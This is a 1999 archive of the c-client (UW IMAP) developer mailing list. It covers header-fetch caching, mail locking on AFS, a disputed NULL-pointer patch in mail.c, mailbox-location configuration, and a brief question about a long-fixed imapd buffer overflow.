ESMTP id SAA31185 for ; Fri, 12 Feb 1999 18:27:33 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA31592; Fri, 12 Feb 1999 18:27:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id SAA21817; Fri, 12 Feb 1999 18:24:31 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA09692 for ; Fri, 12 Feb 1999 18:24:21 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA04618 for ; Fri, 12 Feb 1999 18:24:21 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (cli@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA32743; Fri, 12 Feb 1999 18:24:20 -0800 Message-Id: Date: Fri, 12 Feb 1999 18:20:47 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Chris Newman Cc: c-client Interest List Subject: re: Double fetching Message-ID In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN It also needs to be noted that the problem with obstreperous individuals has nothing to do with IMAP per se, but rather with the curious notion that certain headers mean different things depending upon whether they come from email or news. In the absence of a "Path:" header or a Message-ID with certain characteristics, those headers must be disregarded. It is a disgusting kludge. From pinedev@shivax2.cac.washington.edu Fri Feb 12 18:51:23 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Feb 1999 18:51:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA28944 for ; Fri, 12 Feb 1999 18:51:22 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA08531; Fri, 12 Feb 1999 18:51:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id SAA07312; Fri, 12 Feb 1999 18:49:29 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA09670 for ; Fri, 12 Feb 1999 18:49:08 -0800 Received: from GATE.INNOSOFT.COM (SYSTEM@GATE.INNOSOFT.COM [192.160.253.77]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA06396 for ; Fri, 12 Feb 1999 18:49:08 -0800 Received: from elvira.innosoft.com (ELVIRA.INNOSOFT.COM [192.160.253.135]) by GATE.INNOSOFT.COM (PMDF V5.2-29 #10099) with ESMTPS id <01J7O07CEIF0000ABP@GATE.INNOSOFT.COM> for c-client@u.washington.edu; Fri, 12 Feb 1999 18:49:06 PST Received: from elwood.innosoft.com (ELWOOD.INNOSOFT.COM [192.160.253.235]) by elvira.innosoft.com (PMDF V5.2-31 #13579) with SMTP id <0F720024MNRWP6@elvira.innosoft.com> for c-client@u.washington.edu; Fri, 12 Feb 1999 18:47:56 -0800 (PST) Message-Id: Date: Fri, 12 Feb 1999 18:48:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: c-client Interest List Subject: re: Double fetching Message-ID In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 12 Feb 1999, Mark Crispin wrote: > If Cyrus has a performance problem with arbitrary headers, this sounds like a > problem in Cyrus that needs to be addressed. I do not believe that it is > reasonable to expect a static list of "certain headers which are commonly > fetched." Cyrus has no performance problems with header fetches (I expect it's faster than the c-client server). It has a performance enhancement if a fetch command is restricted to cached information. Clients which fetch uncached headers will not get responses as fast as clients which stick to cached information. - Chris From pinedev@shivax2.cac.washington.edu Sat Feb 13 09:30:04 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 13 Feb 1999 09:30:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09417 for ; Sat, 13 Feb 1999 09:30:03 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA10144; Sat, 13 Feb 1999 09:30:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA27401; Sat, 13 Feb 1999 09:24:53 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA16762 for ; Sat, 13 Feb 1999 09:24:12 -0800 Received: from giasbm01.vsnl.net.in (giasbm01.vsnl.net.in [202.54.1.18]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA06273 for ; Sat, 13 Feb 1999 09:24:09 -0800 Received: from giasbm01.vsnl.net.in ([203.197.50.101]) by giasbm01.vsnl.net.in (8.9.1/8.9.1) with ESMTP id WAA12052; Sat, 13 Feb 1999 22:50:23 +0530 (IST) Message-Id: <36C5B142.1970BBEB@giasbm01.vsnl.net.in> Date: Sat, 13 Feb 1999 22:37:16 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: shilpa To: Mark Crispin Cc: Chris Newman , c-client Interest List Subject: Re: Double fetching Message-ID References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN That was good writing! I mean the literature angle. I am richer by two words which I never knew existed before! Although dictionary gave the meaning, its good usage was shown in your letter. regards, S..// -------- Mark Crispin wrote: > It also needs to be noted that the problem with obstreperous individuals has > nothing to do with IMAP per se, but rather with the curious notion that > certain headers mean different things depending upon whether they come from > email or news. In the absence of a "Path:" header or a Message-ID with > certain characteristics, those headers must be disregarded. > > It is a disgusting kludge. From pinedev@shivax2.cac.washington.edu Sun Feb 14 08:02:09 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Feb 1999 08:02:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA23435 for ; Sun, 14 Feb 1999 08:02:08 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA26854; Sun, 14 Feb 1999 08:02:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA24231; Sun, 14 Feb 1999 07:59:44 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA22820 for ; Sun, 14 Feb 1999 07:58:08 -0800 Received: from valhalla.umbc.edu (valhalla.umbc.edu [130.85.253.11]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA16136 for ; Sun, 14 Feb 1999 07:58:08 -0800 Received: from gl.umbc.edu (banz@umbc8.umbc.edu [130.85.60.8]) by valhalla.umbc.edu (8.9.0/8.9.0) with ESMTP id KAA20451; Sun, 14 Feb 1999 10:58:06 -0500 (EST) Received: from localhost (banz@localhost) by gl.umbc.edu (8.9.0/8.9.0) with ESMTP id KAA18528; Sun, 14 Feb 1999 10:58:06 -0500 (EST) Message-Id: Date: Sun, 14 Feb 1999 10:58:06 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Robert Banz To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: c-client "unix" driver and AFS In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: umbc8.umbc.edu: banz owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Second hand reports state that AFS has additional problems; it is reported > that AFS deliberately discards updates. If these reports are true, then > AFS can not be considered to be a suitable filesystem for mail files. > > c-client goes to considerable effort to write lock files and to get the > disk copies updated via fsync() before removing the lock files. Even NFS > does this right. If AFS can't do this, then don't use AFS. Yes, it does discard updates to files -- but the situations in which it does are well known. The "trick", I guess, to making it deal safely with AFS is to only have the mail file open RW when you have it in a locked state, so that no other processes will try to make an update to the file, and keep it open RO all the other times. I'm currently in the process of fire-testing a c-client unix driver (from the imap-4.5 dist) modified to have this behaviour, and currently feel comfortable enough to read my mail with it :) The problem is, AFS cache callbacks telling a client a file is updated are "ignored" if that client has the file open in a RW state (to enforce it's last-closer-wins semantics), so like you mentioned, AFS does deliberatly ignore updates, but only in "known" situations that can be avoided. Luckily, I haven't seen any problems on the locking end of it, since AFS supports flock() with acceptable reliability. ( I say acceptable, since I haven't seen any problems with it, but just because I haven't seen it doesn't prove reliablity, in an absolute sense ) -rob From pinedev@shivax2.cac.washington.edu Thu Feb 18 04:00:01 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Feb 1999 04:00:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA29961 for ; Thu, 18 Feb 1999 03:59:59 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA19454; Thu, 18 Feb 1999 03:59:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA05464; Thu, 18 Feb 1999 03:55:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA11778 for ; Thu, 18 Feb 1999 03:54:49 -0800 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA19152 for ; Thu, 18 Feb 1999 03:54:41 -0800 Received: from ronnie.phy.hw.ac.uk (karsten@ronnie [137.195.28.24]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id LAA00161 for ; Thu, 18 Feb 1999 11:54:19 GMT Message-Id: <199902181154.LAA00161@phy.hw.ac.uk> Date: Thu, 18 Feb 1999 11:54:18 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: Including message/rfc822 content as text MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="3280541724-1714636915-919338860=:9096" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN --3280541724-1714636915-919338860=:9096 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE Hello, the fix to set the body->nested to an empty message when sending message/rfc822 content included as text, didn't work for me but produced empty messages (though, that's better than the segfaults it would cause otherwise). Instead I fixed line 4132 in mail.c which I think is wrong. It read: if (body->subtype && !strcmp (body->subtype,"RFC822")) { after that line it would attempt to free body->nested.msg, which=20 is not guaranteed to be non-NULL, causing the segfault if the MESSAGE/RFC82= 2 is included in text form instead of a parsed structure. Changing the line to: if (body->subtype && !strcmp (body->subtype,"RFC822") && body->nested.m= sg) { solved the problem. -- Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 --3280541724-1714636915-919338860=:9096-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 18 04:14:58 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Feb 1999 04:14:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA23689 for ; Thu, 18 Feb 1999 04:14:55 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA28538; Thu, 18 Feb 1999 04:14:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id EAA05743; Thu, 18 Feb 1999 04:12:16 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id EAA23902 for ; Thu, 18 Feb 1999 04:11:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rodriguez@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA19998 for ; Thu, 18 Feb 1999 04:11:45 -0800 Message-Id: Date: Thu, 18 Feb 1999 04:10:05 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: C-Client mailing list Subject: re: Including message/rfc822 content as text In-Reply-To: <199902181154.LAA00161@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 18 Feb 1999 11:54:18 +0000 (GMT), Karsten Ballueder wrote: > if (body->subtype && !strcmp (body->subtype,"RFC822")) { > after that line it would attempt to free body->nested.msg, which > is not guaranteed to be non-NULL ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This statement is wrong. If you create an MESSAGE/RFC822 body, you are responsible for making sure that it is non-NIL. From pinedev@shivax2.cac.washington.edu Thu Feb 18 04:38:16 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Feb 1999 04:38:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA31135 for ; Thu, 18 Feb 1999 04:38:15 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA28869; Thu, 18 Feb 1999 04:38:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id EAA04281; Thu, 18 Feb 1999 04:34:53 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id EAA29494 for ; Thu, 18 Feb 1999 04:34:36 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA13724 for ; Thu, 18 Feb 1999 04:34:33 -0800 Received: from ronnie.phy.hw.ac.uk (karsten@ronnie [137.195.28.24]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id MAA07217; Thu, 18 Feb 1999 12:33:58 GMT Message-Id: <199902181233.MAA07217@phy.hw.ac.uk> Date: Thu, 18 Feb 1999 12:33:57 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: Mark Crispin Cc: C-Client mailing list Subject: Re:re: Including message/rfc822 content as text MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="3280541724-1804289383-919341238=:10358" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN --3280541724-1804289383-919341238=:10358 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE > On Thu, 18 Feb 1999 11:54:18 +0000 (GMT), Karsten Ballueder wrote: > > if (body->subtype && !strcmp (body->subtype,"RFC822")) { > > after that line it would attempt to free body->nested.msg, which > > is not guaranteed to be non-NULL > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >=20 > This statement is wrong. If you create an MESSAGE/RFC822 body, you are > responsible for making sure that it is non-NIL. >=20 But why do I need to? If I include the text of a mail message, just like I include the text of a text/plain content, then that pointer is still null, just the type would be different. If in addition I set it to the body of=20 freshly created empty message as you suggested to me, then the text contents are ignored and an empty message gets sent. That's how I include it: case TYPEMESSAGE: case TYPETEXT: bdy->type =3D type; bdy->subtype =3D (char *) fs_get(subtype.length()+1); strcpy(bdy->subtype,(char *)subtype.c_str()); bdy->contents.text.data =3D data; bdy->contents.text.size =3D len; bdy->encoding =3D ENC8BIT; break; bdy->nested is still all 0 then. If I add bdy->nested.msg =3D mail_newmsg();=20 then the contents.text gets ignored and the include text message is empty.=20 If I am really not allowed to leave nested.msg empty (why?), could you please let me know how to do this correctly? Thanks! -- Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 --3280541724-1804289383-919341238=:10358-- From pinedev@shivax2.cac.washington.edu Thu Feb 18 09:00:28 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Feb 1999 09:00:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA02046 for ; Thu, 18 Feb 1999 09:00:26 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA00947; Thu, 18 Feb 1999 09:00:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA29395; Thu, 18 Feb 1999 08:56:12 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA38660 for ; Thu, 18 Feb 1999 08:55:35 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA13213 for ; Thu, 18 Feb 1999 08:55:33 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id LAA32357 for ; Thu, 18 Feb 1999 11:47:29 -0500 Message-Id: <013b01be5b5f$50de4fc0$2601a8c0@voicerite> Date: Thu, 18 Feb 1999 11:54:13 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "C-Client mailing list" Subject: imapd security bug? MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: base64 X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN QWxsIG9mIGEgc3VkZGVuIEkgZm91bmQgYSBodWdlIGRpc2N1c3Npb24gb2YgYSBzZWN1cml0eSBi dWcgaW4gaW1hcGQgY29kZSBpbiBzb21lIG90aGVyIERHIG9uDQoNCmh0dHA6Ly9kYXJ3aW4uYmlv LnVjaS5lZHUvfm1jb29nYW4vYnVndHJhcS8NCg0KZm9yIGV4YW1wbGUsIGluDQoNCmh0dHA6Ly9k YXJ3aW4uYmlvLnVjaS5lZHUvfm1jb29nYW4vYnVndHJhcS9tc2cwMTU2Mi5odG1sDQoNCkFueSBv cGluaW9ucz8gSXMgaXQgY29ycmVjdGVkPw0KDQpJIGRpZG4ndCBnbyBpbnRvIGRldGFpbHMgYXMg eWV0LCBtYXliZSwgdGhlcmUncyBubyBuZWVkIHRvLCBidXQgdGhlIHN0YXJ0aW5nIHBvaW50IGxv b2tzIHNlcmlvdXMgKGFuZCBpdCdzIHN0aWxsIHRoZXJlIGluIDQuNS8xMi4yNDkgdmVyc2lvbiBv ZiBtYWlsLmMvaW1hcGQuYykuIEhlcmUncyBhIGZyYWdtZW50Og0KDQoiVGhlIHByb2JsZW0gY29k ZSBhcHBlYXJzIGluIHRoZSBtYWlsX2F1dGgoKSByb3V0aW5lIGluIG1haWwuYyBvZiB0aGUgSU1B UCBzZXJ2ZXIgc291cmNlIGNvZGUgZGlzdHJpYnV0aW9uLCB3aGljaCByZWFkczoNCi4uLg0KVGhl IHByb2JsZW0gbGllcyBpbiB0aGUgc3RyY3B5KCkgY2FsbCB0aGF0IGNvcGllcyB0aGUgY29udGVu dHMgb2YgbWVjaGFuaXNtIHRvIHRtcCB3aGljaCByZXNpZGVzIG9uIHRoZSBzdGFjayBhcyBhbiBh dXRvbWF0aWMgdmFyaWFibGUuICBUaGUgdG1wIGJ1ZmZlciBpcyBNQUlMVE1QTEVOIGJ5dGVzIGlu IHNpemUsIHdpdGggTUFJTFRNUExFTiBkZWZpbmVkIHRvIGJlIDEwMjQgaW4gbWFpbC5oLiBIb3dl dmVyLCB0aGUgY29tbWFuZCBzdHJpbmcgcmVhZCBmcm9tIHRoZSBjbGllbnQgYnkgdGhlIHNlcnZl ciBpcyBwbGFjZWQNCmludG8gYSBidWZmZXIgVE1QTEVOIGJ5dGVzIGluIHNpemUsIHdpdGggVE1Q TEVOIGRlZmluZWQgdG8gYmUgODE5MiBpbiBpbWFwZC5jLCB0aHVzIGFsbG93aW5nIHRoZSBwYXNz aW5nIG9mIGFyZ3VtZW50cyB0byBtYWlsX2F1dGgoKSB0aGF0IGdyZWF0bHkgZXhjZWVkIHRoZSBz aXplIG9mIGl0cyB0ZW1wb3JhcnkgYnVmZmVyLiINCg0KQW55IHJlc3BvbnNlIHdvdWxkIGJlIGdy ZWF0bHkgYXBwcmVjaWF0ZWQuDQoNCkFsZXggU2h2ZWRvdi4NCg0K -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 18 10:59:09 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Feb 1999 10:59:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA05281 for ; Thu, 18 Feb 1999 10:59:06 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA04393; Thu, 18 Feb 1999 10:59:04 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA08585; Thu, 18 Feb 1999 10:47:47 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA28968 for ; Thu, 18 Feb 1999 10:46:03 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (willard@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA08776 for ; Thu, 18 Feb 1999 10:46:03 -0800 Message-Id: Date: Thu, 18 Feb 1999 10:42:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: C-Client mailing list Subject: re: imapd security bug? In-Reply-To: <013b01be5b5f$50de4fc0$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This was an old problem in beta versions of imap-4.1. It was fixed in the final imap-4.1, and is certainly fixed in imap-4.5/imapd 12.249 today. On Thu, 18 Feb 1999 11:54:13 -0500, Alex Shvedov wrote: > I didn't go into details as yet, maybe, there's no need to, but the starting > point looks serious (and it's still there in 4.5/12.249 version of > mail.c/imapd.c). Here's a fragment: > > "The problem code appears in the mail_auth() routine in mail.c of the IMAP > server source code distribution, which reads: From pinedev@shivax2.cac.washington.edu Fri Feb 19 07:56:03 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Feb 1999 07:56:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA23859 for ; Fri, 19 Feb 1999 07:56:02 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA27191; Fri, 19 Feb 1999 07:56:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA24958; Fri, 19 Feb 1999 07:50:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA34850 for ; Fri, 19 Feb 1999 07:49:07 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA06395 for ; Fri, 19 Feb 1999 07:49:06 -0800 Received: from prozac.eeap.cwru.edu (prozac.EEAP.CWRU.Edu [129.22.56.185]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA18198 for ; Fri, 19 Feb 1999 07:49:06 -0800 Received: (from wes@localhost) by prozac.eeap.cwru.edu (8.9.1/8.9.1) id KAA11387 for c-client@CAC.Washington.EDU; Fri, 19 Feb 1999 10:48:33 -0500 Message-Id: <19990219104832.A11081@prozac.cwru.edu> Date: Fri, 19 Feb 1999 10:48:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Wes Brown To: c-client@CAC.Washington.EDU Subject: Setting where the user's mailboxes live Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am looking to configure c-client (likely) so that the INBOX remains in the system spool area, but the folders that messages are stored in all live in ~{$USER}/Mail (or some such directory). When users currently connect to my UW imap 4.5.Beta server they get a list of all the files/folders in their home directory along with their INBOX. Someday in the future I hope to move to delivering the mail the ~{$USER}/mbox file. I am trying to plan ahead so that the users learn just one way of doing things. I have looked at the documentation but wanted to check on a standard method for doing this since most of the statements were to the tune of UW internals -- this will hurt you. Thank you for your time and assistance. Wes --- Wes Brown ewb4@po.cwru.edu wes@smellycat.com http://prozac.cwru.edu/wes/About.me.html KB8TGR -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 19 10:45:49 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Feb 1999 10:45:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id 